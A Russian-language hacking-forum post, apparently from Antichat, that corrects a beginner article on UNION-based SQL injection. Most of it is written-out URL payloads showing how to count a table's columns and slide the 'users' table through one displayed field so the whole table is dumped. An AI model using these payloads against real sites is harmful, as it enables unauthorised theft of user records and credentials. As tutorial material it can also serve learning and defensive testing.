|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами:
9593606
Репутация:
4915
|
|
Всё же статья для новичков, поэтому счёл своим долгом поправить cr0w, а то материал как-то странно подан
Сообщение от cr0w
Имеется вывод нескольких полей
Это зачем?
Сообщение от cr0w
Обычно, далеко не все получаемые запросом поля выводятся, поэтому не факт, что нам выведется именно нужная полезная информация
А это почему? Зависит от расположения меркурия в венере?
=======================================
Вот вывод ВСЕЙ информации из users в которой 5 полей, через ОДНО принтабельное поле.
Допустим: инъекция, 14 полей , вывод в 6. Поехали:
?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14
Подбираем количество полей в users:
?id=-1+union+select+*+from+users,(select+1)a
?id=-1+union+select+*+from+users,(select+1,2)a
?id=-1+union+select+*+from+users,(select+1,2,3)a
.....
?id=-1+union+select+*+from+users,(select+1,2,3,4,5,6,7, 8,9)a
Есть
У нас получилось искомые 14 полей - 9 из таблицы "а", значит в users полей 5
Выводим. Принтабельное поле 6 значит под него нужно подгонять вывод.
?id=-1+union+select+*+from+(select+1,2,3,4,5)b,users,(s elect+1,2,3,4)a
Вывод 1-го поля из таблицы users. Тоесть фактически выбираем из 3 таблиц "b","users" и "a". Первые 5 полей в которых нет вывода забиваем таблицей "b", затем в принтабельное 6 поле выводим 1-е поле из users , далее идут остальные 4 поля users и наконец, что-бы добить до 14 , 4 поля из "a".
Далее, 2-е поле из users. Смещаем:
?id=-1+union+select+*+from+(select+1,2,3,4)b,users,(sel ect+1,2,3,4,5)a
3-е поле
?id=-1+union+select+*+from+(select+1,2,3)b,users,(selec t+1,2,3,4,5,6)a
4-е и 5-е
?id=-1+union+select+*+from+(select+1,2)b,users,(select+ 1,2,3,4,5,6,7)a
?id=-1+union+select+*+from+(select+1)b,users,(select+1, 2,3,4,5,6,7,8)a
Вот как это выглядит наглядно:
1 2 3 4 5 | 6 7 8 9 0 | 11 12 13 14
( "b" ) |users 5 столбцов | ("a")
<= и двигаем users туда сюда => 
Ну и другой пример, с принтабельными двумя и невозможностью вывода всей инфы этим способом.
Допустим : те-же 14 полей, та-же users c 5 полями, но вывод в 1 и 14
?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14
Сдесь мы сможем вывести только 1-е и 5-е поле из users. Тоесть:
?id=-1+union+select+*+from+users,(select+1,2,3,4,5,6,7, 8,9)a
первое, и дальше мы её не сдвинем, и последнее:
?id=-1+union+select+*+from+(select+1,2,3,4,5,6,7,8,9)a, users
Выводы: что-бы воспользоваться этим способом, нам не нужно несколько принтабельных полей, достаточно одного, но удачно расположенного и тогда возможно вывести все данные из интересующей таблицы. Зависимость этого метода от количества полей в запросе, количества полей в выводимой таблице и расположения принтабельного поля
PS Я тут не рассматривал варианты с выводом в цикле и другую экзотику, просто поправил и надеюсь более доступно довёл только ту информацию которую предоставил cr0w
|